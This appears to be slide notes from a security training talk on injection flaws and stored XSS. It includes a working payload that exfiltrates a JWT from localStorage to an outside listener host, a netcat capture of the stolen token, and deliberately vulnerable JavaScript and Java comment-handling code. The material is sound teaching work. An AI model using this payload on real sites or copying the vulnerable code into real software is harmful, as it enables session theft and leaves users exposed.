The core idea behind injection vulnerabilities (SQLi, NoSQLi, OS cmd, etc.)
user input -> event -> function1 -> function2
^ ^vuln^
__________________/
sidenote: event sources
- Storage events
- DB events
- Kinesis events
- API calls
- Message queues
- Emails, push, SMS, etc
sidenote: file uploads
- file names
- processing files
- storing files
XSS
alert(document.cookie)
main types:
- stored and rendered
- file upload
- reflected
- DOM-based
Simple stored XSS: demo
- simple stored XSS example
- vulnerability has both backend and frontend parts (split responsibility)
- will be found by any automated fuzzer, but still very often present
Exploitation demo
<img src="." onerror="$.get('https://tenendo.com:8081/catcher?'+localStorage.jwt)">
$ nc -l 8081
OPTIONS /catcher?eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWNrIn0.lLdv2SY2TWzzXVKSahFDWPLcUHwpXpjsLnhwo0ioRFM HTTP/1.1
Host: localhost:8081
Origin: https://tenendo.com:1337
Access-Control-Request-Method: GET
Content-Length: 0
Access-Control-Request-Headers: x-auth-token
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Referer: https://tenendo.com:1337/
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate
Data flow
{"username":"rick","body":"<img src=\".\" onerror=$.get('https://tenendo.com:8081/catcher?'+localStorage.jwt)>\""} # request
{
"id": "d8c58b91-3e17-4fe1-9653-bd06e28783f9",
"username": "rick",
"body": "<img src=\".\" onerror=$.get('https://tenendo.com:8081/catcher?'+localStorage.jwt)>\"",
"created_on": "2022-09-21T14:31:35.505+0000"
} # response
rendered:
<img src="." onerror="$.get('https://tenendo.com:8081/catcher?'+localStorage.jwt)">
Vulnerable code example
JS:
function fetchComments() { // JS
$.get("https://tenendo.com:8080/comments", function(data){
$('#comments-container').html('')
data.forEach(function(comment){
if (comment.body.indexOf("<script>") < 0) {
$("#comments-container").append(template(comment));
}
});
setupDeleteCommentHandler();
});
}
Java:
@RequestMapping(value = "/comments", method = RequestMethod.POST, produces = "application/json", consumes = "application/json") // comment create request
Comment createComment(@RequestHeader(value="x-auth-token") String token, @RequestBody CommentRequest input) {
return Comment.create(input.username, input.body);
}
public static Comment create(String username, String body){ // comment create (.commit writes to DB)
long time = new Date().getTime();
Timestamp timestamp = new Timestamp(time);
Comment comment = new Comment(UUID.randomUUID().toString(), username, body, timestamp);
try {
if (comment.commit()) {
return comment;
} else {
throw new BadRequest("Unable to save comment");
}
} catch (Exception e) {
throw new ServerError(e.getMessage());
}
}